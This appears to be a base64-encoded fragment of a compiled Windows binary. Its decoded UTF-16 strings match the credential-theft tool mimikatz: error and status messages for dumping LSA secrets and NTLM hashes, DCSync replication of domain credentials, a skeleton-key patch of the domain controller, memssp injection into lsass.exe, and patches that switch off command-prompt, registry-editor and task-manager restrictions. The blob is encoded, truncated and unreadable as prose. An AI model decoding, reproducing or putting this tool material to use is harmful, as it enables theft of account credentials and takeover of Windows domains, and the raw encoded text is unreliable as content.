AAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgBVAHMAZQByACAAOgAgACUAdwBaAAoAAABMAE0AIAAgACAAOgAgAAAACgBOAFQATABNACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUQB1AGUAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgBVAHMAZQByACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAKACAAKgAgACUAcwAKAAAAIAAgACAAIABMAE0AIAAgACAAOgAgAAAACgAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAAACAAIAAgACAAJQAuACoAcwAKAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAE8AbABkAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAASQB0AGUAcgBhAHQAaQBvAG4AcwAgADoAIAAlAHUACgAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAAIAAgACUAcwAgADoAIAAAACAAIAAgACAAIAAgACUAcwAgACgAJQB1ACkAIAA6ACAAAAAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAACAAIAAgACAAKgAgAAAAAAB1AG4AawBuAG8AdwBuAD8AAAAAACAALQAgACUAcwAgAC0AIAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAQwB1AHIAcgBlAG4AdAAgAGQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAApAAoAAAAAAAoARABvAG0AYQBpAG4AOgAgACUAdwBaACAAKAAlAHcAWgAAACAAIABJAG4AIAAAACAATwB1AHQAIAAAACAASQBuAC0AMQAAAE8AdQB0AC0AMQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABMAHMAYQBRAHUAZQByAHkAVAByAHUAcwB0AGUAZABEAG8AbQBhAGkAbgBJAG4AZgBvAEIAeQBOAGEAbQBlACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEARQBuAHUAbQBlAHIAYQB0AGUAVAByAHUAcwB0AGUAZABEAG8AbQBhAGkAbgBzAEUAeAAgACUAMAA4AHgACgAAACAAIAAqACAAUgBTAEEAIABrAGUAeQAKAAAAAABuAHQAZABzAAAAAAAJAFAARgBYACAAYwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAAAgACAAKgAgAEwAZQBnAGEAYwB5ACAAawBlAHkACgAAAGsAZQB5AAAAbABlAGcAYQBjAHkAAAAAAAAAAAAgACAAKgAgAFUAbgBrAG4AbwB3AG4AIABrAGUAeQAgACgAcwBlAGUAbgAgAGEAcwAgACUAMAA4AHgAKQAKAAAACQBFAHgAcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcACgAAAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQB5AEYAcgBvAG0ARwBVAEkARAAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABnAHUAaQBkAAAAAAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQAgAGEAIAB2AGEAbABpAGQAIABHAFUASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAASQBuAHYAYQBsAGkAZABlACAARwBVAEkARAAgACgAMAB4ACUAMAA4AHgAKQAgADsAIAAlAHMACgAAAAAACgBDAHUAcgByAGUAbgB0ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgACAAIAAgACAAIAAgAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAUgBFAEYARQBSAFIARQBEAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAAAKAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcgBwAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABkAG8AbQBhAGkAbgAKAAAAZABjAAAAAABrAGQAYwAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAARABDACAAcwBlAHIAdgBlAHIACgAKAAAAWwBEAEMAXQAgAE8AYgBqAGUAYwB0ACAAdwBpAHQAaAAgAEcAVQBJAEQAIAAnACUAcwAnAAoACgAAAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIAB1AHMAZQByACAAYQBjAGMAbwB1AG4AdAAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAFIAUwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwAsACAAaQBuAHYAYQBsAGkAZAAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAYQBuAGQALwBvAHIAIABjAE4AdQBtAE8AYgBqAGUAYwB0AHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAbwByACAAZwB1AGkAZAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAJQBzACUALgAqAHMAJQBzAAAAAAAgACAAIAAgACUAcwAtACUAMgB1ADoAIAAAAAAAIAAgAEgAYQBzAGgAIAAlAHMAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAATwBiAGoAZQBjAHQAIABSAEQATgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAAAAAABBAGMAYwBvAHUAbgB0ACAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAIAAlAHMAIAApAAoAAABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwAIAA6ACAAJQAwADgAeAAgACgAIAAAAAAAQQBjAGMAbwB1AG4AdAAgAGUAeABwAGkAcgBhAHQAaQBvAG4AIAAgACAAOgAgAAAAUABhAHMAcwB3AG8AcgBkACAAbABhAHMAdAAgAGMAaABhAG4AZwBlACAAOgAgAAAATwBiAGoAZQBjAHQAIABTAGUAYwB1AHIAaQB0AHkAIABJAEQAIAAgACAAOgAgAAAATwBiAGoAZQBjAHQAIABSAGUAbABhAHQAaQB2AGUAIABJAEQAIAAgACAAOgAgACUAdQAKAAAAAAAKAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAAAG4AdABsAG0AAAAAAGwAbQAgACAAAAAAAAoAUwB1AHAAcABsAGUAbQBlAG4AdABhAGwAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAKgAgACUAdwBaACAAKgAKAAAAAAAlMDJ4AAAAAAAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAG0AcwB2AGMAcgB0AC4AZABsAGwAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG4AZwAAAAAAZABpAHMAYwBvAHYAZQByAGkAbgBnAAAAYQBzAHMAbwBjAGkAYQB0AGkAbgBnAAAAZABpAHMAYwBvAG4AbgBlAGMAdABlAGQAAAAAAGQAaQBzAGMAbwBuAG4AZQBjAHQAaQBuAGcAAABhAGQAXwBoAG8AYwBfAG4AZQB0AHcAbwByAGsAXwBmAG8AcgBtAGUAZAAAAGMAbwBuAG4AZQBjAHQAZQBkAAAAbgBvAHQAXwByAGUAYQBkAHkAAABzAGsAZQBsAGUAdABvAG4AAAAAAG0AZQBtAHMAcwBwAAAAAAB3AGkAZgBpAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAGQAZQB0AG8AdQByAHMAAABKAHUAbgBpAHAAZQByACAATgBlAHQAdwBvAHIAawAgAEMAbwBuAG4AZQBjAHQAIAAoAHcAaQB0AGgAbwB1AHQAIAByAG8AdQB0AGUAIABtAG8AbgBpAHQAbwByAGkAbgBnACkAAAAAAG4AYwByAG8AdQB0AGUAbQBvAG4AAAAAAFQAYQBzAGsAIABNAGEAbgBhAGcAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgApAAAAAAB0AGEAcwBrAG0AZwByAAAAAAAAAFIAZQBnAGkAcwB0AHIAeQAgAEUAZABpAHQAbwByACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwApAAAAAAByAGUAZwBlAGQAaQB0AAAAQwBvAG0AbQBhAG4AZAAgAFAAcgBvAG0AcAB0ACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAApAAAAAABjAG0AZAAAAE0AaQBzAGMAZQBsAGwAYQBuAGUAbwB1AHMAIABtAG8AZAB1AGwAZQAAAAAAbQBpAHMAYwAAAAAAdwBsAGEAbgBhAHAAaQAAAFdsYW5PcGVuSGFuZGxlAABXbGFuQ2xvc2VIYW5kbGUAV2xhbkVudW1JbnRlcmZhY2VzAABXbGFuR2V0UHJvZmlsZUxpc3QAAFdsYW5HZXRQcm9maWxlAABXbGFuRnJlZU1lbW9yeQAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAAZABzAE4AYwBTAGUAcgB2AGkAYwBlAAAACQAoACUAdwBaACkAAAAAAAkAWwAlAHUAXQAgACUAdwBaACAAIQAgAAAAAAAlAC0AMwAyAFMAAAAjACAAJQB1AAAAAAAJACAAJQBwACAALQA+ACAAJQBwAAAAAAAlAHcAWgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBkAGUAdABvAHUAcgBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAAAAgAC8AIAAlAHMAIAAtACAAJQBzAAoAAAAJAHwAIAAlAHMACgAAAAAAZm9wZW4AAABmd3ByaW50ZgAAAABmY2xvc2UAAGwAcwBhAHMAcwAuAGUAeABlAAAAbQBzAHYAMQBfADAALgBkAGwAbAAAAAAASQBuAGoAZQBjAHQAZQBkACAAPQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAcgBlAGEAbAAgAGEAcwBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAATG9jYWxBbGxvYwAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAZwByAG8AdQBwAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAbgBlAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgAEIAdQBpAGwAdABpAG4AIAAoAD8AKQAgACUAMAA4AHgACgAAAAoARABvAG0AYQBpAG4AIABuAGEAbQBlACAAOgAgACUAdwBaAAAAAAAKAEQAbwBtAGEAaQBuACAAUwBJAEQAIAAgADoAIAAAAAoAIAAlAC0ANQB1ACAAJQB3AFoAAAAAAAoAIAB8ACAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAoAIAB8AGAAJQAtADUAdQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQAQQBsAGkAYQBzAE0AZQBtAGIAZQByAHMAaABpAHAAIAAlADAAOAB4AAAAAAAKACAAfAC0ACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBSAGkAZABUAG8AUwBpAGQAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAARABvAG0AYQBpAG4ASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEQAbwBtAGEAaQBuAHMASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAAAAAQQBzAGsAIABkAGUAYgB1AGcAIABwAHIAaQB2AGkAbABlAGcAZQAAAGQAZQBiAHUAZwAAAFAAcgBpAHYAaQBsAGUAZwBlACAAbQBvAGQAdQBsAGUAAAAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAByAGUAcwB1AG0AZQAAAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB1AHMAcABlAG4AZAAAAFQAZQByAG0AaQBuAGEAdABlACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAABTAHQAYQByAHQAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdABhAHIAdAAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAABpAG0AcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAGUAeABwAG8AcgB0AHMAAABQAHIAbwBjAGUAcwBzACAAbQBvAGQAdQBsAGUAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAgADoAIAAAAE8ASwAgACEAIAAoAFAASQBEACAAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHMAdABhAHIAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOA